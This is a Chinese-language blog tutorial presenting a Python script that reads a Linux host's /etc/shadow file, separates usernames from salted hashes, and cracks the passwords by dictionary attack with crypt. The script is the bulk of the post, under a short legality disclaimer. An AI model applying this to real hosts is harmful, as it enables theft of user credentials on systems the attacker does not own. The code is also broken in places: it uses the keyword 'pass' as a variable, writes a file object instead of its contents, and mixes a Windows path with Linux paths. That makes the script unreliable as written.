python脚本破解Linux 用户密码

文章目录

  • 前言
  • 一、前提条件
  • 二、具体实现步骤
    • 1.引入库
    • 2.读出shadow中的相关数据
    • 3.分离出shadow文件中的加密内容
    • 4.获取盐值,拼接密码hash加密验证
    • 结果
  • 总结


前言

python学习笔记
python脚本实现linux中shadow文件里密码加密内容的破解
本文内容仅供个人学习参考!
温馨提示:未经允许入侵别人系统属于违法犯罪行为!!!


一、前提条件

能够读取访问目标主机的/etc/shadow文件。
准备存放shadow内容字段的文件passwd.txt
准备用来破解的密码字典文件dictionary.txt

二、具体实现步骤

1.引入库

代码如下:

'''
author : meark 
date : 2021
message : python
information :linux破解脚本编写
'''
import crypt

2.读出shadow中的相关数据

代码如下:

def main():
    with open('/etc/shadow','r') as f1 :         #获取/etc/shadow中的内容
        with open('C:/Users/Administrator/Desktop/passwd.txt','a') as f2:
            f2.write(f1)

3.分离出shadow文件中的加密内容

代码如下:

passFile = open('passwd.txt','r')
    for line in passFile.readlines():
        if ":" in line:
            username = line.split(':')[0] #分离出用户名和密码字段
            password = line.split(':')[1].strip(' ')
            print ("[*] Cracking Password For "+username)
            GetPass(password)
    passFile.close()

4.获取盐值,拼接密码hash加密验证

def GetPass(password):
    salt = password[:password.rindex('$')+1]
    print(salt)
    dictFile = open('dictionary.txt','r')
    for pass in dictFile.readlines():
        pass = pass.strip('\n')
        cryptpass = crypt.crypt(pass,salt)
        if cryptpass == password:
            print ("[+] Found Password:"+pass+"\n")
            return
    print ("[+] Not Found Password")

结果

python脚本破解Linux 用户密码_第1张图片

总结

整体流程就是先获取shadow中的密码字段密文:盐值+密码加密后的密文,然后分离出盐值,再将你要尝试破解的密码和盐值一起通过同样的hash算法加密,然后与原密码字段对比。

你可能感兴趣的:(python,linux,系统安全)